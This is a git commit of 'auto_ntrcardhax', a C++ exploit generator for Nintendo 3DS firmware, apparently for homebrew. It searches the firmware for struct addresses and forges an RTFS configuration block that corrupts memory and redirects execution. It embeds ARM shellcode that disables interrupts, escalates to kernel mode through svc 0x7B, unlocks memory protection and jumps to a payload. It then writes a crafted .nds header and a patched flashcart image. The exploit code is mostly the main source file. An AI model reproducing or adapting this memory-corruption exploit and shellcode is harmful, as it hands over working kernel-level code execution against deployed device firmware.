commit d1225a56c7842ce73d9ccb58e30555522b6e9e9c Author: Normmatt Date: Tue Mar 29 20:49:35 2016 +1300 Initial Commit diff --git a/auto_ntrcardhax/ak2i_flash81_ntrcardhax_template.bin b/auto_ntrcardhax/ak2i_flash81_ntrcardhax_template.bin new file mode 100644 index 0000000..e2c8fe9 Binary files /dev/null and b/auto_ntrcardhax/ak2i_flash81_ntrcardhax_template.bin differ diff --git a/auto_ntrcardhax/auto_ntrcardhax.sln b/auto_ntrcardhax/auto_ntrcardhax.sln new file mode 100644 index 0000000..f710398 --- /dev/null +++ b/auto_ntrcardhax/auto_ntrcardhax.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.24720.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "auto_ntrcardhax", "auto_ntrcardhax\auto_ntrcardhax.vcxproj", "{3E1E4E4A-7168-45B2-91AB-D97C348C444F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Debug|x64.ActiveCfg = Debug|x64 + {3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Debug|x64.Build.0 = Debug|x64 + {3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Debug|x86.ActiveCfg = Debug|Win32 + {3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Debug|x86.Build.0 = Debug|Win32 + {3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Release|x64.ActiveCfg = Release|x64 + {3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Release|x64.Build.0 = Release|x64 + {3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Release|x86.ActiveCfg = Release|Win32 + {3E1E4E4A-7168-45B2-91AB-D97C348C444F}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/auto_ntrcardhax/auto_ntrcardhax/ERTFS_types.h b/auto_ntrcardhax/auto_ntrcardhax/ERTFS_types.h new file mode 100644 index 0000000..600dab8 --- /dev/null +++ b/auto_ntrcardhax/auto_ntrcardhax/ERTFS_types.h @@ -0,0 +1,219 @@ +/***************************************************************************** +* +* EBS - RTFS (Real Time File Manager) +* +* Copyright EBS, 2007 +* All rights reserved. +* +****************************************************************************/ + +#pragma once + +//standard types +typedef unsigned char byte; /* Don't change */ +typedef unsigned short word; /* Don't change */ +typedef unsigned long dword; /* Don't change */ +#define BOOLEAN int /* Don't change */ + +#if (!defined(TRUE)) +#define TRUE 1 /* Don't change */ +#endif +#if (!defined(FALSE)) +#define FALSE 0 /* Don't change */ +#endif + +/* Structure passed from the blk_dev layer to RTFS_DEVI_device_mount() when new media comes on line */ +typedef struct rtfs_devi_media_parms +{ + void *devhandle; /* Handle Rtfs will pass to device_io() and other functions. devhandle is opaque to rtfs */ +#define DEVICE_REMOVE_EVENT 0x01 + dword mount_flags; + dword access_semaphore; /* Access semaphore for the device. */ + dword media_size_sectors; /* Total number of addressable sectors on the media */ + dword numheads; /* cylinder, head, sector representation of the media. */ + dword numcyl; /* Note: must be valid FAT HCN values. max cyl = 1023, max heads == 255, max sectors = 63 */ + dword secptrk; + dword sector_size_bytes; /* Sector size in bytes: 512, 2048, etc */ + dword eraseblock_size_sectors; /* Sectors per erase block. Set to zero for media without erase blocks */ + int is_write_protect; /* Set to one if the media is write protected */ + byte *device_sector_buffer_base; + void *device_sector_buffer; + dword device_sector_buffer_size; + + int unit_number; /* which instance of this device */ + int device_type; /* Used by blk dev driver layer. device mount sets it, volume mount may use it to configure buffering */ + + int(*device_io)(void *devhandle, void * pdrive, dword sector, void *buffer, dword count, BOOLEAN reading); + int(*device_erase)(void *devhandle, void *pdrive, dword start_sector, dword nsectors); + int(*device_ioctl)(void *devhandle, void *pdrive, int opcode, int iArgs, void *vargs); + int(*device_configure_media)(struct rtfs_media_insert_args *pmedia_parms, struct rtfs_media_resource_reply *media_config_block, int sector_buffer_required); + int(*device_configure_volume)(struct rtfs_volume_resource_request *prequest_block, struct rtfs_volume_resource_reply *preply_block); +} RTFS_DEVI_MEDIA_PARMS; + +/* Block buffer */ +typedef struct blkbuff { + struct blkbuff *pnext; /* Used to navigate free and populated lists */ + struct blkbuff *pprev; /* the populated list is double linked. */ + /* Free list is not */ + struct blkbuff *pnext2; /* Each hash table entry starts a chain of these */ +#define DIRBLOCK_FREE 0 +#define DIRBLOCK_ALLOCATED 1 +#define DIRBLOCK_UNCOMMITTED 2 + int block_state; + int use_count; + struct ddrive *pdrive; /* Used during IO */ + struct ddrive *pdrive_owner; /* Used to distinguish scratch allocation from common pool or device */ + dword blockno; + dword data_size_bytes; /* Size of the data at pointer */ + byte *data; +} BLKBUFF; + +/* contain location information for a directory */ +typedef struct dirblk { + dword my_frstblock; /* First block in this directory */ + dword my_block; /* Current block number */ +#if (INCLUDE_EXFAT) /* Exfat dirblk extensions */ + dword my_exNOFATCHAINfirstcluster; /* ExFat - if non-zero we are scanning a contiguous region with no FAT chain */ + dword my_exNOFATCHAINlastcluster; /* ExFat - if non-zero we are scanning a contiguous region with no FAT chain */ +#endif + int my_index; /* dirent number in my block */ +} DIRBLK; + +/* Object used to find a dirent on a disk and its parent's */ +typedef struct drobj { + struct ddrive *pdrive; + struct finode *finode; + DIRBLK blkinfo; + BOOLEAN isroot; /* True if this is the root */ + BOOLEAN is_free; /* True if on the free list */ + BLKBUFF *pblkbuff; +} DROBJ; + +// HEREHERE - reduceme and clear current drive for all users if ejected +/* User structure management */ +typedef struct rtfs_system_user +{ + dword task_handle; /* Task this is for */ + int rtfs_errno; /* current errno value for the task */ +#if (INCLUDE_DEBUG_VERBOSE_ERRNO) + char *rtfs_errno_caller; /* If diagnostics enabled File name */ + long rtfs_errno_line_number; /* If diagnostics enabled File line number */ +#endif + + int dfltdrv; /* Default drive to use if no drive specified 1-26 == a-z */ + void * plcwd; /* current working directory, allocated at init time to hold NDRIVES pointers */ +#if (INCLUDE_EXFATORFAT64) /* ExFat cwd strings per drive (13 K) */ + word cwd_string[26][EMAXPATH_CHARS]; +#endif +} RTFS_SYSTEM_USER; + +/* Block buffer context */ +typedef struct blkbuffcntxt { + dword stat_cache_hits; + dword stat_cache_misses; + struct blkbuff *ppopulated_blocks; /* uses pnext/pprev */ + struct blkbuff *pfree_blocks; /* uses pnext */ + struct blkbuff *assigned_free_buffers; +#if (INCLUDE_DEBUG_LEAK_CHECKING) + struct blkbuff *pscratch_blocks; /* uses pnext */ +#endif + int num_blocks; + int num_free; + int scratch_alloc_count; + int low_water; + int num_alloc_failures; +#define BLOCK_HASHSIZE 16 +#define BLOCK_HASHMASK 0xf + struct blkbuff *blk_hash_tbl[BLOCK_HASHSIZE]; /* uses pnext2 */ +} BLKBUFFCNTXT; + +/* A placeholder vector must be provided by the device driver if it registers a function to poll for device changes. */ +typedef struct rtfs_devi_poll_request_vector { + struct rtfs_devi_poll_request_vector *pnext; + void(*poll_device_ready)(void); +} RTFS_DEVI_POLL_REQUEST_VECTOR; + +/* Configuration structure. Must be filled in by the user. +see rtfscfg.c */ +typedef struct rtfs_cfg { + int dynamically_allocated; + /* Configuration values */ + int cfg_NDRIVES; /* The number of drives to support */ + int cfg_NBLKBUFFS; /* The number of block buffers */ + int cfg_NUSERFILES; /* The number of user files */ + int cfg_NDROBJS; /* The number of directory objects */ + int cfg_NFINODES; /* The number of directory inodes */ + int cfg_NUM_USERS; /* The number of users to support */ + int cfg_NREGIONS; /* The number of region management objects to support */ + dword region_buffers_free; + dword region_buffers_low_water; +#if (INCLUDE_RTFS_PROPLUS) /* config structure: ProPlus specific element*/ + int cfg_NFINODES_UEX; /* The number of combined extended and extended 64 directory inodes */ +#endif + /* Core that must be provided by the user */ + struct ddrive *mem_drive_pool; /* Point at cfg_NDRIVES * sizeof(DDRIVE) bytes*/ + RTFS_DEVI_MEDIA_PARMS *mem_mediaparms_pool; /* Point at cfg_NDRIVES * sizeof(RTFS_DEVI_MEDIA_PARMS) bytes*/ + BLKBUFF *mem_block_pool; /* Point at cfg_NBLKBUFFS * sizeof(BLKBUFF) bytes*/ + byte *mem_block_data; /* Point at NBLKBUFFS*RTFS_CFG_DEFAULT_BLOCK_SIZE bytes */ + struct pc_file *mem_file_pool; /* Point at cfg_USERFILES * sizeof(PC_FILE) bytes*/ + struct finode *mem_finode_pool; /* Point at cfg_NFINODE * sizeof(FINODE) bytes*/ + DROBJ *mem_drobj_pool; /* Point at cfg_NDROBJ * sizeof(DROBJ) bytes*/ + struct region_fragment *mem_region_pool; /* Point at cfg_NREGIONS * sizeof(REGION_FRAGMENT) bytes*/ + RTFS_SYSTEM_USER *rtfs_user_table; /* Point at cfg_NUM_USERS * sizeof(RTFS_SYSTEM_USER) bytes*/ + void ** rtfs_user_cwd_pointers; /* Point at cfg_NUM_USERS * cfg_NDRIVES * sizeof(void *) bytes*/ + + struct region_fragment *mem_region_freelist; + + + +#if (INCLUDE_RTFS_PROPLUS) /* config structure: ProPlus specific element*/ + FINODE_EXTENSION_MEMORY *mem_finode_uex_pool; /* Point at cfg_NFINODES_UEX * sizeof(FINODE_EXTENSION_MEMORY) bytes*/ + FINODE_EXTENSION_MEMORY *mem_finode_uex_freelist; +#endif + + dword rtfs_exclusive_semaphore; /* Used by Rtfs to run single threaded so buffers may be shared */ +#if (INCLUDE_FAILSAFE_RUNTIME) + struct rtfs_failsafe_cfg *pfailsafe; /* Zero unless pc_failsafe_init() was called */ + dword shared_restore_transfer_buffer_size; + byte *shared_restore_transfer_buffer; + byte *shared_restore_transfer_buffer_base; +#endif + + + dword shared_user_buffer_size; + byte *shared_user_buffer_base; + byte *shared_user_buffer; + + /* These pointers are internal no user setup is needed */ + BLKBUFFCNTXT buffcntxt; /* Systemwide shared buffer pool */ + struct finode *inoroot; /* Begining of inode pool */ + struct finode *mem_finode_freelist; + DROBJ *mem_drobj_freelist; + struct ddrive *mem_drive_freelist; + struct ddrive *drno_to_dr_map[26]; + dword userlist_semaphore; /* Used by ERTFS for accessing the user structure list */ + dword critical_semaphore; /* Used by ERTFS for critical sections */ + dword mountlist_semaphore; /* Used by ERTFS for accessing the mount list */ + /* Note: cfg_NDRIVES semaphores are allocated and assigned to the individual + drive structure within routine pc_ertfs_init() */ + /* This value is set in pc_rtfs_init(). It is the drive number of the + lowest (0-25) == A: - Z:. valid drive identifier in the system. + If the user does not set a default drive, this value will be used. */ + int default_drive_id; + /* Counter used to uniquely identify a drive mount. Each time an open + succeeds this value is incremented and stored in the drive structure. + it is used by gfirst gnext et al to ensure that the drive was not + closed and remounted between calls */ + int drive_opencounter; + dword rtfs_driver_errno; /* device driver can set driver specific errno value */ + RTFS_DEVI_POLL_REQUEST_VECTOR *device_poll_list; /* Functions registered on this are called every time the API is entered to check for status change. */ + /* Private callback functions that overrides calls to the user's callback handler */ + void(*test_drive_async_complete_cb)(int driveno, int operation, int success); + +#if (1) /* ||INCLUDE_V_1_0_DEVICES == 1) */ + dword floppy_semaphore; + dword floppy_signal; + dword ide_semaphore; +#endif + +} RTFS_CFG; diff --git a/auto_ntrcardhax/auto_ntrcardhax/auto_ntrcardhax.cpp b/auto_ntrcardhax/auto_ntrcardhax/auto_ntrcardhax.cpp new file mode 100644 index 0000000..017f24c --- /dev/null +++ b/auto_ntrcardhax/auto_ntrcardhax/auto_ntrcardhax.cpp @@ -0,0 +1,245 @@ +/* +* Copyright (C) 2016 - Normmatt +* +* This program is free software: you can redistribute it and/or modify +* it under the terms of the GNU General Public License as published by +* the Free Software Foundation, either version 3 of the License, or +* (at your option) any later version. +* +* This program is distributed in the hope that it will be useful, +* but WITHOUT ANY WARRANTY; without even the implied warranty of +* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +* GNU General Public License for more details. +* +* You should have received a copy of the GNU General Public License +* along with this program. If not, see . +*/ + +#define _CRT_SECURE_NO_WARNINGS + +#include +#include +#include +#include +#include "ERTFS_types.h" +#include "firm.h" +#include "crc.h" + +// ldr sp,=0x22140000 +// +// ;Disable IRQ +// mrs r0, cpsr +// orr r0, #(1<<7) +// msr cpsr_c, r0 +// +// adr r0, kernelmode +// swi 0x7B +// +//kernelmode: +// mov r2, #0x22 +// msr CPSR_c, #0xDF +// ldr r3, =0x33333333 ;R/W +// mcr p15, 0, r3,c5,c0, 2 +// mov r2, #0xCC +// mcr p15, 0, r3,c5,c0, 3 +// ldr r0, =0x23F00000 +// bx r0 +unsigned char loader_bin[0x44] = +{ + 0x30, 0xD0, 0x9F, 0xE5, 0x00, 0x00, 0x0F, 0xE1, 0x80, 0x00, 0x80, 0xE3, 0x00, 0xF0, 0x21, 0xE1, + 0x00, 0x00, 0x8F, 0xE2, 0x7B, 0x00, 0x00, 0xEF, 0x22, 0x20, 0xA0, 0xE3, 0xDF, 0xF0, 0x21, 0xE3, + 0x14, 0x30, 0x9F, 0xE5, 0x50, 0x3F, 0x05, 0xEE, 0xCC, 0x20, 0xA0, 0xE3, 0x70, 0x3F, 0x05, 0xEE, + 0x08, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0x14, 0x22, 0x33, 0x33, 0x33, 0x33, + 0x00, 0x00, 0xF0, 0x23, +}; + + +uint32_t find_ntrcard_header_address(uint8_t *arm9bin, int arm9len) +{ + uint32_t headerAdr = -1; + + for(uint16_t *ii = (uint16_t *)arm9bin; ii < (uint16_t *)(arm9bin + arm9len); ++ii) + { + //7C B5 PUSH {R2-R6,LR} + //2C 4C LDR R4, =card_struct + //05 00 MOVS R5, R0 + //2A 48 LDR R0, =ntrcard_header + //26 00 MOVS R6, R4 + if(0xB57C == *(ii) && 0x4C2C == *(ii + 1) && 0x0005 == *(ii + 2) && 0x482A == *(ii + 3) && 0x0026 == *(ii + 4)) + { + headerAdr = *(uint32_t*)((uint8_t *)ii + 0xB0); + break; + } + } + + return headerAdr; +} + +uint32_t find_rtfs_cfg_address(uint8_t *arm9bin, int arm9len) +{ + uint32_t rtfs_cfg = -1; + + for(uint16_t *ii = (uint16_t *)arm9bin; ii < (uint16_t *)(arm9bin + arm9len); ++ii) + { + //10 B5 PUSH {R4,LR} + //0D 48 LDR R0, =rtfs_cfg; dest + //0D 4C LDR R4, =ERTFS_prtfs_cfg + //FF 22 6D 32 MOVS R2, #0x16C; len + //00 21 MOVS R1, #0; val + //20 60 STR R0, [R4] + if(0xB510 == *(ii) && 0x480D == *(ii + 1) && 0x4C0D == *(ii + 2) && 0x22FF == *(ii + 3) && 0x326D == *(ii + 4) && 0x2100 == *(ii + 5) && 0x6020 == *(ii + 6)) + { + rtfs_cfg = *(uint32_t*)((uint8_t *)ii + 0x38); + break; + } + } + + return rtfs_cfg; +} + +uint32_t find_rtfs_handle_address(uint8_t *arm9bin, int arm9len) +{ + uint32_t rtfs_handle = -1; + + for(uint16_t *ii = (uint16_t *)arm9bin; ii < (uint16_t *)(arm9bin + arm9len); ++ii) + { + //70 B5 PUSH {R4-R6,LR} + //0B 23 MOVS R3, #0xB + //0B 4A LDR R2, =rtfs_handle + //00 21 MOVS R1, #0 + //9B 01 LSLS R3, R3, #6 + //C4 18 ADDS R4, R0, R3 + if(0xB570 == *(ii) && 0x230B == *(ii + 1) && 0x4A0B == *(ii + 2) && 0x2100 == *(ii + 3) && 0x019B == *(ii + 4) && 0x18C4 == *(ii + 5)) + { + rtfs_handle = *(uint32_t*)((uint8_t *)ii + 0x34) + 0x10; + break; + } + } + + return rtfs_handle; +} + +int main() +{ + firmCtx ctx9; + uint8_t *payload = (uint8_t *)calloc(0x1000,1); + RTFS_CFG rtfs_cfg = {}; + + FILE *f1 = fopen("ak2i_flash81_ntrcardhax_template.bin", "rb"); + fseek(f1, 0, SEEK_END); + int f1_size = ftell(f1); + uint8_t *flash = (uint8_t *)malloc(f1_size); + fseek(f1, 0, SEEK_SET); + fread(flash, 1, f1_size, f1); + fclose(f1); + + memcpy(payload, flash + 0x2000, 0x1000); + + firmOpen(&ctx9, "firm_2_08006800_n3ds_10_2.bin"); + + //int ntrHeaderAdr = 0x080E1CB4; + int ntrHeaderAdr = find_ntrcard_header_address(firmGetData(&ctx9), firmGetSize(&ctx9)); + int rtfsCfgAdr = find_rtfs_cfg_address(firmGetData(&ctx9), firmGetSize(&ctx9)); + int rtfsHandleAdr = find_rtfs_handle_address(firmGetData(&ctx9), firmGetSize(&ctx9)); + int rtfsCfgAdrDiff = rtfsCfgAdr - ntrHeaderAdr; + int rtfsCopyLen = sizeof(RTFS_CFG) - 0x2C; //Don't need full rtfs struct + + int wrappedAdr = (rtfsCfgAdrDiff) & 0xFFF; + + volatile int error = 0; + + if(ntrHeaderAdr == -1) + { + printf("Failed to locate ntrcard header address.\n"); + error = 1; + goto exit; + } + + if(rtfsCfgAdr == -1) + { + printf("Failed to locate rtfs cfg address.\n"); + error = 1; + goto exit; + } + + if(rtfsHandleAdr == -1) + { + printf("Failed to locate rtfs handle address.\n"); + error = 1; + goto exit; + } + + if((wrappedAdr >= 0x0) && (wrappedAdr <= 0x10)) //0x31C but some overlap is fine + { + printf("There is a conflict with the ntrcard header when wrapped... have fun fixing this! (%08X)\n", wrappedAdr); + error = 1; + goto exit; + } + + if((wrappedAdr >= 0x2A8) && (wrappedAdr <= 0x314)) //0x31C but some overlap is fine + { + printf("There is a conflict with the rtfs struct when wrapped... have fun fixing this! (%08X)\n", wrappedAdr); + error = 1; + goto exit; + } + + //Must be 1 to bypass some stuff + rtfs_cfg.cfg_NFINODES = 1; + + //This is the address that gets overwritten + //NF writes two u32s + //[adr + 0] = 0x0000000B + //[adr + 4] = 0x00000000 + rtfs_cfg.mem_region_pool = (struct region_fragment *)(ntrHeaderAdr + 0x4); + + for(int i = 0; i < 26; i++) + rtfs_cfg.drno_to_dr_map[i] = (ddrive*)(ntrHeaderAdr + 0); + + //Copy rtfs_cfg into right place (taking into account wrapping) + uint32_t* prtfs_cfg32 = (uint32_t*)&rtfs_cfg; + for(int i = 0; i < rtfsCopyLen; i+=4) //Don't need full rtfs struct + { + wrappedAdr = (rtfsCfgAdrDiff + i) & 0xFFF; + if((wrappedAdr >= 0x14) && (wrappedAdr <= 0x60)) + { + printf("There is a conflict with the ntrcard header when wrapped... have fun fixing this! (%08X)\n", wrappedAdr); + printf("%08X out of %08X copied.", i, rtfsCopyLen); + if(i < 0xFC) + { + printf("This might not actually work because not enough buffers were overwritten correctly!"); + error = 1; + } + break; + } + *(uint32_t*)&payload[wrappedAdr] = prtfs_cfg32[i/4]; + } + + *(uint32_t*)&payload[0x2EC] = rtfsHandleAdr; //Some handle rtfs uses + *(uint32_t*)&payload[0x2F0] = 0x41414141; //Bypass FAT corruption error + *(uint32_t*)&payload[0x31C] = ntrHeaderAdr + 0x2A8; //This is the PC we want to jump to (from a BLX) + + memcpy(&payload[0x2A8], loader_bin, 0x44); + + //Fix nds header as this makes native firm respond properly + uint16_t crc = CalcCrc(payload, 0x15E); + *(uint16_t*)&payload[0x15E] = crc; + + FILE *f = fopen("ACEKv00.nds", "wb"); + fwrite(payload, 1, 0x1000, f); + fclose(f); + + memcpy(flash + 0x2000, payload, 0x1000); + + FILE *f2 = fopen("ak2i_flash81_ntrcardhax.bin", "wb"); + fwrite(flash, 1, f1_size, f2); + fclose(f2); + +exit: + free(flash); + free(payload); + free(firmGetData(&ctx9)); + + while(error); + return 0; +} + diff --git a/auto_ntrcardhax/auto_ntrcardhax/auto_ntrcardhax.vcxproj b/auto_ntrcardhax/auto_ntrcardhax/auto_ntrcardhax.vcxproj new file mode 100644 index 0000000..63fa983 --- /dev/null +++ b/auto_ntrcardhax/auto_ntrcardhax/auto_ntrcardhax.vcxproj @@ -0,0 +1,160 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {3E1E4E4A-7168-45B2-91AB-D97C348C444F} + Win32Proj + auto_ntrcardhax + 8.1 + + + + Application + true + v140 + Unicode + + + Application + false + v140 + true + Unicode + + + Application + true + v140 + Unicode + + + Application + false + v140 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + + + Level3 + Disabled + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + + + MaxSpeed + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/auto_ntrcardhax/auto_ntrcardhax/auto_ntrcardhax.vcxproj.filters b/auto_ntrcardhax/auto_ntrcardhax/auto_ntrcardhax.vcxproj.filters new file mode 100644 index 0000000..7d4719e --- /dev/null +++ b/auto_ntrcardhax/auto_ntrcardhax/auto_ntrcardhax.vcxproj.filters @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/auto_ntrcardhax/auto_ntrcardhax/crc.cpp b/auto_ntrcardhax/auto_ntrcardhax/crc.cpp new file mode 100644 index 0000000..9dbe15f --- /dev/null +++ b/auto_ntrcardhax/auto_ntrcardhax/crc.cpp @@ -0,0 +1,48 @@ +#include +#include "crc.h" + +unsigned short crc16tab[] = +{ + 0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241, + 0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440, + 0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40, + 0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 0x09C0, 0x0880, 0xC841, + 0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40, + 0x1E00, 0xDEC1, 0xDF81, 0x1F40, 0xDD01, 0x1DC0, 0x1C80, 0xDC41, + 0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641, + 0xD201, 0x12C0, 0x1380, 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040, + 0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240, + 0x3600, 0xF6C1, 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441, + 0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41, + 0xFA01, 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840, + 0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41, + 0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40, + 0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 0x2640, + 0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041, + 0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 0xA281, 0x6240, + 0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441, + 0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 0x6FC0, 0x6E80, 0xAE41, + 0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840, + 0x7800, 0xB8C1, 0xB981, 0x7940, 0xBB01, 0x7BC0, 0x7A80, 0xBA41, + 0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40, + 0xB401, 0x74C0, 0x7580, 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640, + 0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041, + 0x5000, 0x90C1, 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241, + 0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440, + 0x9C01, 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40, + 0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841, + 0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40, + 0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 0x8C41, + 0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641, + 0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 0x8081, 0x4040 +}; + +uint16_t CalcCrc(uint8_t *data, uint32_t length) +{ + uint16_t crc = (uint16_t)~0; + for(unsigned int i = 0; i> 8) ^ crc16tab[(crc ^ data[i]) & 0xFF]; + } + return crc; +} diff --git a/auto_ntrcardhax/auto_ntrcardhax/crc.h b/auto_ntrcardhax/auto_ntrcardhax/crc.h new file mode 100644 index 0000000..619568e --- /dev/null +++ b/auto_ntrcardhax/auto_ntrcardhax/crc.h @@ -0,0 +1,12 @@ + +#ifndef __CRC_H +#define __CRC_H + +#include +#include + +extern unsigned short crc16tab[]; + +uint16_t CalcCrc(uint8_t *data, uint32_t length); + +#endif // __CRC_H \ No newline at end of file diff --git a/auto_ntrcardhax/auto_ntrcardhax/firm.cpp b/auto_ntrcardhax/auto_ntrcardhax/firm.cpp new file mode 100644 index 0000000..7a99c3e --- /dev/null +++ b/auto_ntrcardhax/auto_ntrcardhax/firm.cpp @@ -0,0 +1,44 @@ +#include "firm.h" +#include +#include +#include + +int firmOpen(firmCtx *ctx, char* filename) +{ + FILE* file = fopen(filename, "rb"); + if(file) + { + fseek(file, 0, SEEK_END); + ctx->size = ftell(file); + fseek(file, 0, SEEK_SET); + ctx->data = (uint8_t*)malloc(ctx->size); + fread(ctx->data, 1, ctx->size, file); + ctx->header = (firmHeader*)ctx->data; + fclose(file); + return 0; + } + else + return -1; +} + +uint8_t* firmGetEntryData(firmCtx *ctx, uint8_t index) +{ + if(index > 3) return NULL; + return (ctx->data + ctx->header->entry[index].offset); +} + +uint32_t firmGetEntrySize(firmCtx *ctx, uint8_t index) +{ + if(index > 3) return NULL; + return ctx->header->entry[index].size; +} + +uint8_t* firmGetData(firmCtx *ctx) +{ + return ctx->data; +} + +uint32_t firmGetSize(firmCtx *ctx) +{ + return ctx->size; +} \ No newline at end of file diff --git a/auto_ntrcardhax/auto_ntrcardhax/firm.h b/auto_ntrcardhax/auto_ntrcardhax/firm.h new file mode 100644 index 0000000..c28f92a --- /dev/null +++ b/auto_ntrcardhax/auto_ntrcardhax/firm.h @@ -0,0 +1,34 @@ +#pragma once +#include + +typedef struct +{ + uint32_t offset; + uint32_t address; + uint32_t size; + uint32_t type; + uint8_t hash[0x20]; +} firmEntry; + +typedef struct +{ + char magic[8]; + uint32_t arm11Start; + uint32_t arm9Start; + uint8_t reserved[0x30]; + firmEntry entry[4]; + uint8_t signature[0x100]; +} firmHeader; + +typedef struct +{ + firmHeader *header; + uint8_t* data; + uint32_t size; +} firmCtx; + +int firmOpen(firmCtx *ctx, char* filename); +uint8_t* firmGetEntryData(firmCtx *ctx, uint8_t index); +uint32_t firmGetEntrySize(firmCtx *ctx, uint8_t index); +uint8_t* firmGetData(firmCtx *ctx); +uint32_t firmGetSize(firmCtx *ctx); \ No newline at end of file diff --git a/ntrcardhax_arm11/Makefile b/ntrcardhax_arm11/Makefile new file mode 100644 index 0000000..e881aac --- /dev/null +++ b/ntrcardhax_arm11/Makefile @@ -0,0 +1,174 @@ +#--------------------------------------------------------------------------------- +.SUFFIXES: +#--------------------------------------------------------------------------------- + +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +TOPDIR ?= $(CURDIR) +include $(DEVKITARM)/3ds_rules + +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# DATA is a list of directories containing data files +# INCLUDES is a list of directories containing header files +# +# NO_SMDH: if set to anything, no SMDH file is generated. +# APP_TITLE is the name of the app stored in the SMDH file (Optional) +# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) +# APP_AUTHOR is the author of the app stored in the SMDH file (Optional) +# ICON is the filename of the icon (.png), relative to the project folder. +# If not set, it attempts to use one of the following (in this order): +# - .png +# - icon.png +# - /default_icon.png +#--------------------------------------------------------------------------------- +TARGET := $(notdir $(CURDIR)) +BUILD := build +SOURCES := source +DATA := data +INCLUDES := include + +#--------------------------------------------------------------------------------- 